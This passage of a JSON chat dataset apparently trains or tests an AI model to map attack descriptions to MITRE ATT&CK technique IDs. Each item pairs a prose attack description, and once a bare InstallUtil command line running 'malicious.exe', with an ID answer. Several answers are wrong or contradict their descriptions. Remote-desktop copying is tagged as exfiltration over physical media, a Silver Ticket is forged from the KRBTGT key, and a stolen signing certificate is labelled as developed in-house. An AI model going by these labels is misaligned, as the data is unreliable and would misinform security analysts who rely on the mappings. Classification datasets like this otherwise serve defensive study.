                "content": "A malicious macro uses DDE to send commands to the Windows Explorer process, enabling the attacker to spawn a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware registers a hidden LaunchAgent that executes a PowerShell script on macOS via launchd."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers copied the legitimate Adobe Reader icon and renamed their malware to \"AcroRd32.exe\" in the Programs folder to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the sc.exe tool, the threat actor changes the binary path of an existing system service to point to a backdoor payload."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs a Docker container that mounts the host's Docker socket to control other containers."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows Print Spooler, the adversary injects a script through PubPrn to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised account runs a crafted T‑SQL script that creates a hidden stored procedure which downloads additional malware."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor overrides functions in the virtual dynamic shared object (vDSO) to inject malicious code into a running process without using traditional DLL injection."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a legitimate remote desktop tool to manually copy sensitive documents from the target system."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker performs AS‑REP roasting by generating AS request packets for accounts flagged with 'Does not require Kerberos pre‑authentication', capturing the encrypted replies to brute‑force the password."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat modifies the system disk image by adding a hidden partition containing malicious tools."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By corrupting the KernelCallbackTable, the exploit causes system callbacks to invoke malicious routines."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor places a malicious shortcut (.lnk) file in a shared network directory, which runs when any user clicks the link."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages direct memory-mapped I/O to dump the contents of a volume image for later analysis."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor accesses the Chrome password database file and copies out the usernames and passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group performed automated scraping of Confluence pages using the /wiki/dosearch.json API."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary writes a Visual Basic script that modifies the registry to disable Windows Defender real-time protection."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the stolen KRBTGT key, the intruder fabricates a Silver Ticket to gain unauthorized access to a SQL service."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries the victim’s DNS records to enumerate domain names, MX, and SPF entries."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the Distributed Component Object Model service to launch PowerShell scripts on target machines."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uploads a malicious script to a serverless function, gaining persistent execution capability within the victim's cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs a PowerShell command to modify the registry key that sets the default startup script for persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware uses TLS callbacks to insert its payload into a running process, hijacking a thread to run the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers installed a legacy system image on the target machine, effectively rolling back security updates."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a PowerShell script that calls \"Invoke-WebRequest\" to retrieve the machine's external network interface details."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing email includes a link that redirects through several domains before landing on a malicious payload downloader."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor stores its beacons in the Windows Event Log using Unicode‑escaped characters to mask activity."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team registers a hidden Windows service that silently communicates with C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script modifies iptables rules to allow inbound traffic, effectively disabling the host's firewall."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerable web application to retrieve the session cookie from the server's response headers, then reuses the cookie to gain unauthorized access to the victim's account."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious VBA macro drops a custom add‑in and updates the registry key HKLM\\Software\\Microsoft\\Office\\Excel\\Addins to auto‑load the add‑in on Excel startup."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged an encrypted TLS channel on port 443 to silently transfer stolen credentials out of the network."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension rewrites HTML responses from a banking site, inserting hidden form fields that capture user credentials."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker exploits an unpatched Joomla vulnerability to install a backdoor and exfiltrate data via HTTP."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware monitors for USB connection events and, upon detection, writes encrypted payloads to the device."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on the endpoint invokes podman to assemble a compromised container image locally."
            },
            {
                "role": "assistant",
                "content": "T1612 - Build Image on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary performs token theft and then launches PowerShell with the stolen token."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Execution is conditional on the presence of a custom file containing a hash of the CPU’s cache size and the OS version."
            },
            {
                "role": "assistant",
                "content": "T1480.001 - Execution Guardrails: Environmental Keying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group creates fake product review pages that rank highly for popular product searches, embedding drive‑by download exploits for Windows systems."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves altering the system's firmware modules so that malicious functionality runs during the pre‑boot environment."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the Windows command \"cacls\" to grant \"Everyone\" modify rights on a critical log file to conceal their activity."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group leverages compromised API keys to programmatically terminate EC2 instances in targeted regions."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queries the Windows Management Instrumentation (WMI) class Win32_ComputerSystem to obtain the logged-in username."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary writes malicious PowerShell scripts directly into the Windows Registry's Run key to execute them without touching the disk."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors enumerate the victim's subsidiaries, partnerships, and internal departments during reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group’s tool contains a time‑based trigger that only executes its exfiltration module after a prolonged idle period, designed to evade detection in fast‑turnover sandbox environments."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker used a hijacked cloud dashboard to create a malicious scheduled task that downloads additional payloads from the internet."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest code snippets from publicly accessible repositories to discover reusable credentials and tokens."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the Windows utility mshta.exe to run malicious HTML Application (HTA) code that executes a payload."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilized the command shell to run \"tasklist\" and identify running processes for further targeting."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor establishes a malicious web service and sends stolen data to it using one-way HTTP POST requests, without expecting a response."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor creates a hidden account using the 'net user' command and sets it to never expire."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command line: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /U malicious.exe"
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals buy a commercial keylogger from an illicit vendor to monitor victim activity after initial compromise."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor stole a code signing certificate from a cloud-based build service and used it to sign malicious containers."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor enumerates processes via /proc and extracts authentication tokens from their memory maps."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion leverages PowerShell's Invoke‑Mimikatz to pull credentials from LSASS."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary installs a malicious Windows service and configures it to start automatically, allowing code execution with system privileges."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates the victim's CPU model and number of cores by executing a WMI query for Win32_Processor."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a kernel vulnerability by repeatedly invoking a privileged system call, causing the OS to hang."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware includes a module that reads the clipboard after a user copies files, capturing file names and paths for data collection."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracts the system's time zone and locale settings via the 'tzutil' command."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat leveraged the DCSync functionality of Mimikatz to replicate the domain controller’s credential store."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employed a PowerShell script that rewrites file timestamps on compromised hosts to hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using SMB, the threat group accessed the hidden ADMIN$ share to deploy a cryptominer on the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary executed a malicious DLL by launching regsvr32.exe with the /i switch, loading the payload from a remote UNC path to bypass execution controls."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hidden background script in a Chromium extension reads the user's bookmarks and uploads them to an attacker‑controlled server."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor replaces the Windows kernel image (ntoskrnl.exe) with a malicious version to persist their foothold."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised service account, the attacker streams captured network logs directly into a Google Cloud Storage bucket they own."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers employ the trusted developer utility MSBuild to execute a staged payload as part of a larger intrusion chain."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber‑espionage group abuses an insecure file upload functionality to place a web shell on the server."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious executable reads the /etc/os-release file on a Linux host to determine the distribution and version."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated actor leveraged a stolen cloud access key to invoke the Alibaba Cloud ECS DeleteInstance API, wiping out several critical instances in the target network."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses the ROMMONkit tool to alter the device's immutable ROM and embed malicious code."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a zero‑day in the cloud provider's SDK to silently create a privileged account without triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies the /etc/passwd file permissions to 777, allowing unauthorized user account creation."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
